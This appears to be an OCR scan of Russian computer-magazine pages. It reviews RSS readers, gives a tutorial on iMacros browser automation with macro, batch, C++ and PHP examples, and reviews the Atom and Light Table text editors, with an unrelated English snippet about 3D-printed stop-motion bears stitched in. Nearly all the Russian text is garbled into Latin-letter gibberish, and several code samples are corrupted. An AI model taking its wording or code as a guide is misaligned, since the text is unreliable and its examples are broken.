H «MR/1EHbKME» HMTflilKM 



rockysandstudio.com 




noHerviy HMTa/iKa RSS o6fl3aTe/ibHO AO/ixHa 6biTb noxoxa Ha 6anbLuyK) cepbe3Hyio 
nporparviMy? ABTOpbi Leaf peLumii/i ocTaBMTb Jiwub caMbiPi mmhmmvm 1/1 C03Aa/iM rvia- 
jieHbKoe m jiaKOHMHHoe npM/ioxeHMe, b kotopom edb mnbKO to, hto hvxho. 

BepTMKa/ibHoe okho Leaf pa3Ae/ieH0 nono/iarvi: cneBa cnncoK HOBOCTeM, cnpaBa 

TeKCT. B XepTBy JiaKOHMHHOCTH npHHeCflM B03M0>KH0CTb Bbl6npaTb KOHKpeTHbIM C|)MA, 

m mx cnncKa HeT BOo6me — 3aAaTb moxho TonbKO nanKy. no/iynaeTCfl, hto hobocth 
MAyr pa3H0MacTHbiM noTOKOM. KorAa mx Mano m KaxAyio n/iaHMpyeTCH KaK MMHMMyM 
npocrviaTpMBaTb, oto yAo6HO. Ecjim xe noAnMCOK nopHAOHHO m M3 HeKOTOpbix 6pbi3- 
xeTHOBOCTflMM,TonporparviMaoKa>KeTca Ma/ionpMroAHOM: jieHTy 3aTonMT, m hoboctm 

M3 60/iee CKpOMHblX MCTOHHMKOB npMACTCfl Bbl/iaB/lMBaTb B CTpeMMTe/lbHOM noTOKe. 

Leaf CMHxpOHM3MpyeTca c Feedly m yrvieeT OTnpaBJiHTb ccbi/iKM b Facebook, Twitter 
m Safari Reading List. rioAAepxKM Pocket, Instapaper m npoHMx ctopohhmx cepBMCOB 
HeT, KaK HeT m pexMMa noArpy3KM no/iHoro TeKCTa nepe3 Readability, m BCTpoeHHoro 
6pay3epa. 3aT0 Leaf npM^THO Bbir/iHAMT — oco6eHHO xoponiM aKKypaTHbie Kpyrnbie 

KapTMHKM P?1A0M C 3arO/10BKaMM HOBOCTeM. 

MHTepecHO, hto MivieHHO y Leaf Kywa KOHKypeHTOB m noApaxaTenePi — lib/inm K/iacc 
nerKOBecHbixarperaTOpOB RSS, M36paBiuMx MecTOM CBoero oSMTaHM^ He aok, a naHenb 
MeHio. B npMMep mo>kho npMBecTM Stand m Favoriteer — 06a 6ecn/iaTHbi, AOCTynHbi 
b Mac App Store m 3acny>KMBaiOT Toro, HTo6bi noTpaTMTb n*n~b mmhvt Ha 03HaK0M/ieHMe, 
ec/iM Bbi6op eme He nan Ha OAHy M3 «no/iHOBecHbix» HMTanoK. 

KcTaTM, aBTopbi carvioro Leaf Toxe CAe/ia/iM eme 6onee nerKyio nporparviMy — 
OHa Ha3biBaeTCH RSS Notifier m noKa3biBaeT ccbi/iKM Ha hoboctm nepe3 Notification 
Center. Kjimk no 3aro/iOBKy OTKpoeT o6bNHbiM 6pay3ep — to ecTb carvi RSS Notifier 
npaKTMnecKM Bee Bpervm ocTaeTca He3aivieTHbiM. A bot b ero HacTpoMKax KpoeTca 



CK)pnpM3: TyAa, oGHapyxi/iBaeuib, hto pa3pa6oTHi/iKn npeA/iaraiOT «3annacTn» 

k nporpaMMe 3a OTAenbHbie AeHbrn — 3annaTHB ABa AO.ri.napa, moxho nonyHMTb ot- 
Ae/ibHbiM cawA6ap Rnn 3aro.noBKOB HOBOCTefi, a em,e ABa AO/i/iapa AaAyT bo3mox- 
HocTb CMOTpGTb TeKCT HOBOCTew b jiaKOHHHHOM OKOLUKe, HanoMi/iHarOiu,eivi Quick Look, 
ripi/i tom, hto caM RSS Notifier MHTepeceH, 3ai/irpbiBaHne c nnaTHbiMM cJ)yHKUMfiMn 
HanoMMHaeT xyAwue npwviepbi npucTynoB xaAHOCTi/i BpervieH pacu,BeTa shareware 
Arm Windows. 
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3D-printed bears make 
adorable stop-motion 
stars 




This mesmerizing clip of a bear endlessly climbing a flight 
of stairs was made to "explore the use of stop frame 
animation with 3D printing." It took creator DBLG four 
weeks, 50 frames and an equal number of incrementally 
different 3D-printed bears to produce Bears on Stairs. 
The cinematographic technique in the video can be 
traced back to at least the 1898 stop-motion film called 
The Humpty Dumpty Circus. It evokes the illusion of 
movement by playing a sequence of individually 
photographed shots, each containing an object that has 
been gradationally moved or changed. DBLG says an 
extended version of Bears on Stairs is in the works. 

Continue reading... 



mom 

Han6o/iee yAanHbirvi Bbi6opoM Ha AaHHbiPi MOivieHT KaxeTCH ReadKit, oah3ko Reeder 2 
MMeeT Bee LuaHCbi npeB30MTM ero. K TOMy xe y Reeder ceMnac ecTb aoctomhctbo: noKa 
MAeT 6eTa-TecT, nporpaMMOM moxho nojib30BaTbCfl 6ecnnaTHO, TOi~Aa KaK 3a ReadKit 
npoc^T n^Tb AO/uiapoB (a CTa6n/ibHOCTb Bee paBHO no-npexHerviy Ha ypoBHe 6eTbi). 



u cyflboe i\ieii\iewsvvire cyflHTb cjioxho: nporpaMMa yxe HecKo/ibKo Mecflu,eB Bbim^flUT 
noHTM totobom, a cJwHajibHoro pe/in3a c noflaepxKOM CMHxpoHH3aunM Bee HeT v\ HeT. 

OTfle^bHaa CMTyauMfl c Leaf: oh Ha ranoBy Bbime cbomx 6ecn/iaTHbix KOHKypeHTOB, 
ho noApa3yMeBaeT HTeHne jieHTbi noApflA- 3to MOxeT CAe/iaTb ero 6ecno/ie3HbiM b rna- 
sax oahmx no^b30BaTe/ieM v\rw\ MAea/ibHbiM Bbi6opoM b r/ia3ax Apyrnx. 30 




KHMrA 

JlEHMBblX PEUEflTOB . 

ABTOMATM3MPyEM JllOEblE AEI/ICTBUfl B BPAY3EPE C IMACROS 



iMacros — sto nporpaMMa, Korapaa (io3boji?igt aBTOMa~n/i- 
3npoBaTb M MMMTMpoBaTb flsCtCTBM.fl no/ib30BaTe/i£ b 6pa- 
y3epe. no cjiOBaM pa3pa6oTHi/iKOB, iMacros 3arpy3i/uii/i 

9 Ml/l/inMOHOB pa3, HO JIHLUb 240 TblC^H f03epOB aKTl/IBHO l/IC- 

no/ib3yfOT npi/inoxeHMe. To ecTb jiMLUb 3% v\3 ycTaHOBi/iBi_ui/ix 
npoflyKT HaLu/iM eMy npi/iM6HGHHG. 1/1 HecjiynaMHO. npM nep- 
bom B3r/i^Ae Ha AOKyMeHTau,no c/ioxho pa3r/iFifleTb ero 
yflMBMTe/ibHbie, nopaxaiOLui/ie BOo6paxeHi/ie bo3moxhoctm. 
3ia CTaTb^i OTKpooT mx A-n^ tb6r. 



YcTaHOBKa 



Edb ABa Bapi/iama yciaHOBKn iMacros: 
• b KanecTBe pacLui/ipem/ifl (add-ons) Arm 6pay3epa (Firefox, Chrome min Internet Explorer), 
KaK OTAe/ibHoe npn/ioxeHne (mnbKO Windows). 

B onucaHHbix Hwxe npwviepax wcnonb30BaH iMacros Firefox add-on. 
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Hanaro pa6oTbi iMacros 



Play 



Record 



Manage 
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Stop _; 



Start macro recording 



Save Page 



Take Screenshot 
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Play Macro 



Stop 



Play macro repeatedly 

Cunent: 



M ax: 



Plav Loop 



3anncb MaKpoca 



□ 



flaHe^b3anycKa MaKpoca 



#Current.iim - iMacros Editor 




A 



•: :: 



Macros 



2 
3 
4 



VERSION BUILD=7020226 RECORDER=CR 

URL GOTO=hxtps : //www. google . ru/?gf e_rd=cr&ei=Jw5gU4LuF9CWwAPQuIG4Ag 
TAG POS=l TYPE=INPUT : TEXT FORM=ID:gbqf ATTR=ID : gbqf q CONTENT=hello<S 
TAG POS=l TYPE=BUTTON FORM=ID:gbqf ATTR=ID : gbqfb 



Position: 



Ln 4, Ch 49 



Total: 



Ln 4, Ch 223 



Save & Close 



Save As & Close ^Cancel 



Okho peflaKTupoBaHMfl MaKpoca 



Ochobhom npneM, KOTOpoiviy ctomt HaynnTbCFi, — 3anncb AeMCTBMM b 6pay3epe v\ nocne- 
AyKDLu.ee mx BOcnpon3BefleHne. (lepeMAeivi Ha BK/iaflKy Record Ha naHe/ii/i b jieBOM hmx- 
HeM ynny 3KpaHa n h3>kmgm Ha KHonKy Record Macro. 

Tenepb Bo6beM b Google «Hello world» h HaxMeM Enter. IIotom KHonKy Stop (noA 
KHonKOM Record Macro). iMacros creHepupoBan koa, kotophm moxho MHoroKpaTHO 3a- 
nycKaTb m peAaKTHpoBaTb: 

VERSION BUILD=7020226 REC0RDER=CR 

URL G0T0=https : //www. google . ru/ ?gf e_rd=cr&ei=Dw5gU4LuF9CWwAPQuIG4Ag 
TAG P0S=1 TYPE=INPUT : TEXT FORM=ID:gbqf ATTR=ID : gbqf q CONTENT=hello<SP>world 
TAG POS=l TYPE=BUTTON FORM=ID:gbqf ATTR=ID : gbqf b 

OyHKuna 3ani/icn MaKpocoB p,aej B03M0XH0CTb /iMLUHnPi pa3 He 3arviflAbiBaTb b AOKyivieH- 
Tau,MK) m aBTOMaTH3npoBaTb npocTeMLUMe 3aAasn, He 3aMopaHHBancb HanwcaHi/ieM KOAa. 



Pa6oTa c ashhbimm 



3anonHeHne 4>opM M3 CSV-cJjaiijia c AamibiMM 

ripeAnonoxnM, HaM HyxHO 3ano/iHMTb MHcfjopMaunio o TOBapax nHTepHeT-Mara3MHa ne- 
pe3 CMS-aAMMHKy (KOHKpeTHbiw npuMep HanncaH A-na Insales). Ha3BaHi/ia, onucaHHH, 
u,eHbi n ocTaTKM xpaH^TCfl b c|)aPine CSV. 3Ty 3aAany moxho MrHOBeHHO BbinanHHTb c no- 
MoiAbK) He6o/ibLuoro MaKpoca: 



f noAK/iK)HaeM <j)a£i/i CSV (ziyniiie nponncbiBaTb a6co/iK)THbiM nyTb) 
SET ! DATASOURCE products . csv 
<;ft i i nop a 



' JXenaew nocTpoHHbiii o6xoa fyawna m nj\9\ KaxcAbift ctpokm Bbino/iHaeM koa, 

' npuBefleHHbiM Aa/iee 

SET ! DATASOURCE_LINE {{!LOOP}} 

'OTKpbiBaeM cTpaHnuy Ao6aB^eHMfl TOBapa 

URL GOTO=http : //example . com/newproduct 

'3anncbiBaeM 3HaneHne nepBoro nana <J)aii/ia CSV b (JjopMy jxnn Ha3BaHM« TOBapa 

TAG P0S=1 TYPE=INPUT : TEXT FORM=ID:new_product ATTR=ID:product_title CONTENT={{ !C0L1}} 

'3anncbiBaeM 3HaHeHne BToporo no/ia $auna CSV b (jjopwy nj\f\ KopoTKoro 
Ha3BaHMfl TOBapa 

TAG P0S=1 TYPE=TEXTAREA FORM=ID : new_product ATTR=ID: product_short_description ^ 
CONTENT= {{!C0L2}} 

'TpeTbe m neTBepToe none - aHa/iornsHO 

TAG P0S=1 TYPE=INPUT : TEXT FORM=ID: new_product ATTR=ID:^ 

product_variants_attributes price CONTENT= {{!C0L3}} 

TAG P0S=1 TYPE=INPUT : TEXT FORM=ID : new_product ATTR=ID:^ 

product_variants_attributes quantity CONTENT={{ ! C0L4}} 

Tloc/ie BBOAa Bcex AaHHbix o TOBape coxpaHaeM ero b KaTa/ior 
TAG P0S=1 TYPE=INPUT: BUTTON FORM=ID : new_product ATTR=* 



// A bot TaK Bwr/iflAUT products. csv: 
"ToBap 1", "Onucahme TOBapa 1","555","7" 
"ToBap 2"/'0nMcaHMe TOBapa 2", "722", "13" 
"ToBap 3" J "0nncaHMe TOBapa 3", "234", "9" 
"ToBap 4", "OnucaHne TOBapa 4", "301", "11" 



If 3BneHemie Aamibix M3 Be6-CTpamm 

ATenepb npeflCTaBi/iM o6paTHyfo CMTyau.uK). Korfla hvxho npocMOTpeTb KaTanor Mara3M- 
Ha-KOHKypeHTa n coxpaHMTb wHc^opMaui/iio o TOBapax. 

' 3tot koa n3B/ieKaeT TeKCTOBoe coAepxMMoe M3 a63aueB, MMeiomnx aTpn6yT 
'"class", paBHWM "product_description" 

TAG P0S=1 TYPE=P ATTR=CLASS : product_description EXTRACT=TXT 

'A 3tot coxpaH«eT ero b tyaun 

SAVEAS TYPE=TXT FOLDER="C:\" FILE="product_desc . txt" 

'A bot KOM3HA3 A^f\ 3anyci<a Ana/ioroBoro OKHa coxpaineHUfl KapTUHKM n HawaTun 
' KHonKM noATBep>KAeHHfl : 

TAG P0S=1 TYPE=IMG ATTR=ID : product_image CONTENT=EVENT : SAVEITEM 
ONWEBPAGEDIALOG KEYS={down<SP>2}{tab<SP>l}{enter} 



EcTecTBGHHO, Becb 3tot koa moxho ncno/ib30BaTb b u,i/iKne c AMHaMMHecKHMM nepeiviei-i- 

HblMM. 
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www 

no^b30BaTe/iM iMacrosfl/ifi Firefox 
MoryT aejwTbCfl Mexfly co6ow mc- 

XOAHMKaMM C nOMOLMbK) 3aKJ13A0K 

Delicious. IIoapoShocth 3Aecb: 

wiki.imacros.net/iMacros for 
Firefox#Bookmarkinq 



WWW 

no/iHbw MaHya/i no iMacros: 

wiki.imacros.net 

CaMTnpow3BOAHTejia: 

imacros.net 



WARNING 

B 6pay3epe Chrome He pa6oiaeT 
TpeTb iMacros-KOMaHA (KaKne - 
cm. AOKyMeHTaunio). riosTOMy 
jiynwe ncno/ib30BaTb Firefox 

(90% B03M0XH0CTeM) HJ1H 

Internet Explorer (Haw6o/iee no/i- 

HblM 4)yHKU,M0HaJl). 



Bbi30B iMacros M3 KOfla 

J1io6om MaKpoc moxho coxpaHMTb b (+jaM.ne c pacLunpeHneM iim m ncnanb30BaTb b npmio- 
xeHUflx, HanncaHHbix Ha 1 6 H3bii<ax nporpaMMnpoBaHwa. To/ibKO HaAO He 3a6biTb ycTaHO- 
BMTb no/iHyio BepcufO (He aAAOH) iMacros Ha KOMnbKrrep v\nv\ Be6-cepBep. 



flOAAepMMBaeMbie fl3blKM 

• ASP • Delphi 

• ASP.NET • FoxPro 

• C# • Java 

• C++ • JavaScript 



Perl 
PHP 
Python 
Power Shell 



Ruby 
TCL 
VBA 
VBS 



Batch-<t>aftnbi 

Bbi30B iMacros M3 6aTHMKOB — Han6o/iee npocToii h yAo6Hbiw nyTb aBTOMaTH3npoBaTb 
mx Bbino/iHeHne. AocTaTOHHO oahom ctpokm An^ 3anycKa MaKpoca: 

"ProgramFiles\iOpus\iMacros\iMacros.exe" *-> 
-macro ". .\. • \Macros\Demo\RegExpSearch . iim" 

C++ 

OcHOBHaa onoxHOCTb b Mcno/ib30BaHMM iMacros noA C++ — HacTpouiKa cpeAbi pa3pa- 
6otkm (KOHKpeTMKy no BepcuflM pa3/inHHbix cpeA HLU.M b AOKyMeHTau,MM h/im cnpaniMBaM 
y cannopia). npnHu,nn pa6oTbi koas TaKofi xe, KaK b PHP: 

IAppPtr app = IAppPtr( uuidof (App) ) ; 

Status s = app->iimlnit(""j true, " " , "", cTimeout); 

s = app->iimPlay("wsh-extract-rate" s cTimeout); // 3anycK wsh-extract-rate 
s = app- >iimExit( cTimeout) j 

Mcnonb30BaHMe JavaScript b Maicpocax 

B iMacros moxho npucBanBaTb nepeivieHHbiM pe3y/ibTaTbi BbinoriHeHMfl JavaScript-KOAa c 
noMOU4bK) KOMaHAbi EVAL: 



SET DSVAR EVALC'var DSVAR = 45+5: DSVAR : " ) 



PHP 

iMacros moxho 3anycKaTb c Be6-cepBepa, ncno/ib3ya PHP-CKpi/im\ 3aseM sto moxgt 
npuroAHTbca? /J,/ifl nono/iHeHHH 6a3bi AaHHbix nocpeflCTBOM MOHHTopwHra nH(J)opMaun- 
OHHbix caMTOB, reHepau,i/in OH^aMH-Ta6/io pe3y/ibTaTOB TecTupOBaHi/ia cocTOflHi/m cepBe- 
poB m TaK,o,anee. llpHMep Bbi30Ba MaKpoca, ocymecTB/iflfomero noncK Ha CTpaHnue: 

<?php 

$iimobject = new COM( "imacros" ) ; 

// 06pamaeMCfl k KOMnoHeHTy iimRunner (oh y>Ke AO/iweH 

// 6biTb npeABapnTe/ibHO 3anymeH Ha cepBepe) 

$imacrosprocess = $iimobject->iimInit("-runner"); 

// no/iynaeM koa MaKpoca m c/ioBa p,na noncKa M3 aflpecHOM ctpokh 

$imacrosprocess = $iimobject->iimSet<-' 

("-van_keyword" J $_GET[ "keyword"] ); 
$imacrosprocess = $iimobject->iimPlay<-' 

($_GET["macro"])j 
// Bwboamm oTHeT o Bbino/iHeHMM MaKpoca (yAa/iocb 3anycTMTb h/ih HeT) 
echo "iimplay="; 
echo $imacnosprocess; 
// m pe3y/ibTaTbi noncKa 
echo "extract="; 
echo $iiml->iimGetl_astExtract; 
$s = $iiml->iimExit(); 

?> 



Bbino/iHeHue MaKpocoe no pacnucamiio 

JXnn OTcpoMKM Bbino/iHeHi/ia KOMaHAbi Ha n-e KO/innecTBO ceKyHA cymecTByeT KOMaHAa 
WAIT, flprnviep: 

WAIT SECONDS=10. 

fl/ia 6onee anoxHoro n/iaHMpoBaHMfl BbinormeHHa MaKpocoB HaAO npn6eraTb k noMO- 
lu,m ctopohhmx H3biKOB nporpaMMnpOBaHwq. ripocTeMLune BapwaHTbi — batch- 0a fiilbl + 
Windows Task Sheduler i/ijim PHP + Crontabe. 



Direct Screen Technology 

Ec/in caMT CAO/iaH Ha Flash, Flex i/ijii/i SilverLight, to k ero 3/ieMGHTaM He/ib3fl o6paTMTbca 
CTaHAapTHbiMM cnoco6aMM (no MA6HTM(|)MKaT0paM DOM-pa3MeTKM). Heo6xoAHMO mc- 
nonb30BaTb KoopA^HaTbi o6"beKTa Ha Be6-CTpaHi/iu,e: 



' K/1HK nO TOHKe C KOOpAHHaTaMU M BBOA T eKCTa 



DS CMD=MOVETO X=455 Y=224 CONTENT={ BACKSPACE} TeKCT 



C noMOLMbK) KoopAHHaTHOM aApecauMM moxho Aaxe MMMTMpoBaTb drag and drop. 
riepeA 3anncbio MaKpoca A-na Flash-caMTa Heo6xoAHMO bk/ikdhi/itb Use Direct Screen 
Commands b HacTpoMKax. 



CKpHHUJOTbl 

C noMOLAbto KOMaHAbi SCREENSHOT TYPE=(PAGE | BROWSER) F0LDER=f older_name 
FILE=file_name moxho CAe/iaTb ckpmhluot Bcew CTpaHHu,bi, a ncno.nb3yfl TAG + o6paiue- 
Hue K 9/ieMeHTy + CONTENT=EVENT:SAVE_ELEMENT_SCREENSHOT — OTAe/ibHOM ee HaCTM. 



TecTupoBaHue cauTOB 

C noMOinbK) iMacros moxho nerKO HanncaTb nporpaMMy Rnn MOHMTOpMHra BpeMeHM pe- 
aKu,w/i Ha pa3Hbie AewcTBMfl no.nb30BaTe.rm. flpHMep: 

'3arpy>KaeM CTpaHnuy n 3anncbiBaeM b 6optobom wypHa/i BpeMA Ha ee 3arpy3Ky 
URL G0T0=http : //example . com/about 
STOPWATCH ID=PageAbout 

1 BBOflMM MMfl n ( fraMM/wro no/ib3QBaTe/ifl b (fropMbi n 3aMep«eM BpeMflj 3aTpaneHHoe 
Ha ompaBKy AaHHbix 

TAG P0S=1 TYPE=INPUT : TEXT ATTR=NAME : username CONTENT=I ra 

TAG P0S=1 TYPE=INPUT:TEXT ATTR=NAME : usersurname CONTENT=Chernova 

TAG P0S=1 TYPE=BUTT0N: SUBMIT FORM=ID : Sendlnf o ATTR=TXT : Sendlnf o 

STOP WATCH ID=SendInfo 

Pe3y/ibTaTbi w3MepeHnw coxpaHHKrrcfl b lmacros\Downloads\performance_Stopwatch.csv. 




DVD 



06pa6oTKa 
oujm6ok 



riO yMO/lHaHMKD B CJiyHae B03Hl/IKHOBe- 

HMfl KaKOM-/in6o olum6km Bbino/iHeHi/ie 
MaKpoca ocTaHaB/iuiBaeTCfl. 3Toro mox- 
ho M36e>KaTb, nponncaB b Hana/ie !ERR- 
ORIGNORE YES. 



McnojibsoBaHwe 
npoKCM-cepeepoe 

fl/lfl OTOrO MT06bl nOACOeAHHMTbCFI 

k npoKCM-cepBepaM nepeA Bbino/meHH- 



B npnno>KeHMM k >KypHa/iy ecTb AeBHTb wa- 

6/IOHOB MaKpOCOB (C pyCCKOH3bNHblMI/l KOM- 

MeHTaMM), KOTopbie Tbi CMOxewb npncno- 
co6nTb pj]9\ peiueHMfl c/ieAyiOLAnx 3aAas: 

• 3ano/iHeHne no/iew cJ)opM H3 CSV- 
c^aftnoB; 

• M3BJieHeHMe A^HHblX H3 Ta6/lHI4bl 

b CSV-c^aw/i; 

• ycTaHOBKa 3HaneHMM b ce/ieKTax v\ ne- 
peK/noHaTe/mx (radio buttons); 

• coxpaHeHne KapTMHOK c cafiTa; 

• o6pa6oTKa Bcn/ibiBaiOLAnx JS-AnanoroB; 

• nenaTb CTpaHMLibi; 



eM MaKpoca v\nv\ bo Bpeivm ero, wcno/ib- 
3yM KOMaHAy proxy: 



PROXY ADDRESS=127. 0.0. 1:8888 



IbTepHdTMBbl 

ZennoPoster ( zennolab. m) 
Selenium IDE ( docs.seleniumhq.org ) 
DejaClick ( dejaclick.alertsite.com ) 
UBot Studio ( ubotstudio.com ) 




Ecjim Tbi xoneujb 3aneHaT/ieTb/iyMUJne mo- 
MeHTbi pa6oTbi iMacros Ha BHAeo — mc- 
no/ib3ytf n/iarnH Capture Fox ajih Mozilla 
win Screencastify An^ Chrome. 



C03A3HMe CKpMHLUOTOB; 

M3MepeHne BpeivieHu Ha 3arpy3Ky ot- 

Ae^bHblX 3/ieMeHTOB CTpaHMU,bl \A Bbl- 

no/iHeHne cu,eHapneB; 
M3B/ieHeHne A^HHbix M3 cJ)opM m npo- 
hhx HacTew Be6-caPh~a. 



3aK/itoHeHne 



B 3T0M CTaTbe paCCMOTpeHbl B03M0>KH0- 

cth iMacros, nosBormiOLune peiuaTbTpH- 
Bna^bHbie npo6/ieMbi, c KOTopbiMM mo- 
xeT CT0/iKHyTbC5i jiio6om IT-cneu,na/incT 

M/1M npOCTO aKTMBHbIM nO.Tib30BaTe.nb 

MHeia. Bcero xe MHCTpyMem- BK/ifonaeT 
b ce6a 6o/iee no/iycoTHM KOMaHA, 060- 
3peTb KOTOpbie b (t>opMaTe xypHa/ia He- 
bo3moxho. riosTOMy, eonn Tbi He Hauje/i 
3Aecb HHHero, mto Momo 6bi o6jierHHTb 
tboio pyTHHy b CeTM, He OTHai/iBaMca v\ 3a- 
r/i^HM b AOKyMeHTau.nK) mii/i Ha 4>opyM 
imacros.net. IE 



PC ZONE 




0B30P nflTI/l HOBOMOAHblXTEKCTOBblX 
PEAAKTOPOB flJlfl KOM 



He fljia KaxflOM 3aAann n He KaxAoro npoeKTa Tpe6y- 
eTC^i no/iHOu,eHHa^ IDE, nosTOMyA-na MHomx ochob- 
hnm MHCTpyMeHTOM no-npexHeiviy ocTaeTC^i jifo6MMbii/i 
TeKCTOBbii/i peflaKTop. 1/1 KaxeTC^, hto Bbi6op npod: 
MOinHbiM, pacLUMp^eMbiM, ho npocTOi/i Sublime Text, xm- 
Ba^ KriaccMKa b JiMu,e emacs 1/1 vim, a TaKxe MOHonnaT- 
0opMeHHbie cj)aBopnTbi — Notepad++ fl/i^ Windows, 
TextMate A^m OS X m Geany A-n^ Linux. Ho BeAb HOBbie 



peASKTOpbl nO^BJlFlKDTC^ HyTb JIM He KaXAbll/l ASHb — ecTb 
JIM Te6e CMblCJl MeH^Tb npMBbNKM? flaBaM nOCMOTpMM, 
HTO npOMCXOA^T. 



Eme b aBrycTe 2011 roAa oahh M3 ocHOBaTenefi GitHub Kpnc «defunkt» YoHCTpaT nocrra- 
bmji nepeA co6om aM6nu,no3HyK) u,e/ib: co3AaTb peAaKTop, KOTopbiPi 6bm 6bi no-HacTOfl- 
Lueiviy OTKpbiTbiM m npeA-naran HeorpaHMHeHHbie bo3mo>khoctm a^ xaKi/mra, ho npi/i stom 
He npeBpaLAanc^ 6bi bo btopom Vim mii/i Emacs (KOTopbift, KaK n3BecTHO, yivieeT noHTH 
Bee, ho TO/ibKO ec/iM y Te6a M03n/i KaK y flxecfx^a Anna). M bot cnycTH Tpn roAa v\ 6onee 
neivi rmTHaAuaTb TbicaH kommmtob Hana/iocb ny6nwHHoe 6eTa-TecTnpOBaHne. B MapTe 
3Toro roAa Atom CTa/i AOCTyneH Ana 3arpy3Ki/i BceM xenafomnM. HeM xe co6npaeTCH 
nepeBepHyTb Hani noAxoA k KOAnnry 3HaMeHMTaa KOMnaHMFi? 

riepBoe, hto 6pocaeTca b rna3a npn 3anycKe HOBoro AeTuma GitHub, — sto HeBe- 
pofrn-io noxo>KMM Ha Sublime Text MHTepqbeMC. CaMO no ce6e sto He muhvc. H3BecTHbM 
cj)aKT, hto MHTepcJ)eMC Sublime 6bin BAOXHOB/ieH APyruM, HeKorAa He MeHee nonynap- 
hwm peAaKTOpOM KOAaA-n^ OS X TextMate. HbiHei±iHflfl MCTOpua c Atom v\ Sublime /iniub 
noAnepKHBaeT yAanHbie peiiieHMfl GUI nocneAHero. 

BTOpaa oco6eHHOCTb Atom 3aK/iK)HaeTCfl b tom, hto sto, no cvth, Be6-npn/ioxeHne 
b o6epTKe Chromium. HeT, KOHenHO, y peAaKTOpa ecTb cboh MKOHKa b AOKe, HOpMa/ib- 
Hbie cncTeMHbie MeHio m noAAepxKa HaTMBHbix xoTKeeB. npocTO hapo Atom HanncaHO 
no 6o/ibiueM nacTi/i Ha CoffeeScript, pa6oTaeT oho Ha Node.js, a caM MHTepcJ)eMC peAaK- 
Topa HBrmeTCfl HTML-CTpaHnu,eM co Bno/iHe o6biHHoPi pa3MeTKofi. YGeAHTbca b stom 
moxho, ecni/i Bbi6paTb 1/13 mghkd View nyHKT Developer — > Toogle developer tools. 

TpeTb^ MHTepecHa^ cfjuLUKa Atom — ero MOAy-nbHOCTb. B jivhlui/ix TpaAnunax sko- 
CMCTeMbi Node.js oh HanwcaH c ncnonb30BaHneM MaKCMManbHoro KO/iHHecTBa OTKpbi- 
Tbix MOAy-neM (6ojibLue nqTMAec^Tn). 3to 3H3HMT, hto ecnn Te6e He HpaBi/iTca k3kom-to 




11/ibsi PycaHeH 

rusanen@real.xakep.ru 



Atom 



atom.io 



LUTcTTHbiM (J)yHKLi,MOHa/i , to, no yBGpeHMJiM pa3pa6oTHMKOB, Tbi 6e3 TpyAa CMOxeiub no- 
Ao6paTb eiviy 3aivieHy M3 6o/iee seis/i 70 TbicaH naKeTOB b npm registry mjim HanncaTb cbom 
n/iarnH. YnnTbiBaa, hto JavaScript cfjaKTMHecKM yxe a^bho cian caMbiM nony/iapi-ibiM 
^3biKOM Ha GitHub m CoffeeScript .numb HeMHoro OTCTaeT ot Perl, sro BcejiaeT yBepeH- 
HOCTb b 6yAym.ee Atom. 

A hto xe c KMji/iep-cjDMHaMn? Bot TyT Bee He TaK paAy>KHO. To nv\ Aeno b mo/ioaoctm 
npoeKTa, to jih euj,e b neivi-TO, ho Atom, KpOMe rpoMKoro nMeHu co3AaTe/iePi m 6o/ib- 
lumx HaAexA, H3 kopo6km He npeAOCTaB^aeT HHnero, hto 6bi Momo 3acTaBHTb Hacarvii/i 
wrpaTbCfl c hum. To, hto npenoAHOCMTca pa3pa6oTHMKaMM KaK npenMymecTBa (Hanpw- 

Mep, aBTOKOMn/lMT, BK/iaAKM, KO^/ianC KOAa, CHMneTbl), MOXeT Bbl3E$aTb JIl/ILUb CHMCXOAH" 

TenbHyK) ynbi6Ky Ha Jikiuax aAenTOB Sublime, fla, KOHenHO, Atom yxe MivieeT cbom naKeT- 
HbiM MeHeA>Kep, ho h He Hawe/i b ero peno3i/n~opi/mx HHHero TaKoro, hto 6bi.no 6bi He/ib3?i 
pea/iM30BaTb c noMombio nnarnHOB A-na Sublime. 



e o o 



BaseController.java - /Users/flnn/Documenis/dev/mVlewer/src/maln/Java/com/lmaginea/mongodb/controllers 



I controllers 
g RaseControllerjava 

(=] CollcctionControllcr.j: 
(1) Odldbd&eConti oiler. jd- 
B Documenttontroller.ji 
[=) CraphController Java 
[5] CridrSController.java 
@ LoglnController.Java 
|§) LogoutControllerjava 
[=) StatisticsController.ja\ 
g) SystemCollectionCont 



BaseController.java 



* ©param logger Logger to log the error response. 

* ©return JSON Error response. 
*/ 

protected static String formErrorResponse(Logger logger, ApplicationException 
String response ■ null; 

JSONObject jsonErrorResponse - new JS0N0bject(); 
JSONObject error - new JS0N0bject(); 
try { 

error. put("code", e.getErrorCodeO); 
error. put( "message" , e.getMessageO); 
logger. error(error, e); 

JSONObject tempResponse - new JS0N0bject(); 
tempResponse. put("error" , error); 
jsonErrorResponse. putC response" , tempResponse); 
response - jsonErrorResponse. toStringO; 
} catch (JSONException m) { 
logger .error (m); 

response - "{V codeV :" + "V" + ErrorCodes. JS0N_EXCEPTI0N + "V '," + 

} 

return response; 



* Catches error for a block of code and from JSON error Response. 
*/ 

protected static class ErrorTemplate { 

public static String execute(Logger logger, ResponseCallback callback) { 
return execute(logger , callback, true); 

} 



Ra*<*CnnTrnlI*r java R7,3f> Java 



p matter S#nH F*#rihaf It 



M3 Kopo6KM Atom cn/ibHOHanoMMHaeT Sublime 



© o o 



I controllers 
[=| Ba^Cnntrnllpr.java 
[=j CollectionControllcr.j; 
(§) DdUbdieContioller.jd' 
B DocumentController.j; 
[=) CraphController.java 
§ CridrSController.java 
@ LoglnController.Java 
|§) LogoutControllerjava 
[=) StatisticsController ja\ 
[5] SystemCollectionCont 



Settings - /Users/flnn/Documents/dev/mVlewer/src/maln/Java/com/lmaglnea/mongodb/controllers 



Base Control le r .jay a 



% Setting* 



DaiabaieContiollerJ* 



CraphController.java 



^ ATOM Available Updates 



:U Settings 
S Keybindinys 




V All of your installed packages arc up to date! 



■Q> Install Packages 



© Packages are published to atom.io and are installed to /Users/tinn/. atom/packages 



Search packages 



Atom Dark Syntax 

MM 



* Featured Packages 



Atom Dark Ui 

Atom Light Syntax 

Atom Light Ui 

Autocomplctc 

13 Open -/.atom 



Setting* Send Fwdhark 



llaKeTOB euie Ma/io, ho HanncaTb cboPi AePicTBMTe^bHO npocTO 



Light Table lighttable.com 



Pa3pa6oTKa Light Table Hananacb b 2011 re-Ay, KorAa arviepuKaHCKUM nporpaMMMCT 
Kpi/ic TpeMHflxep ( chris-granger.com ) peiumi, hto npouecc pa6oTbi c koaom b coBpe- 

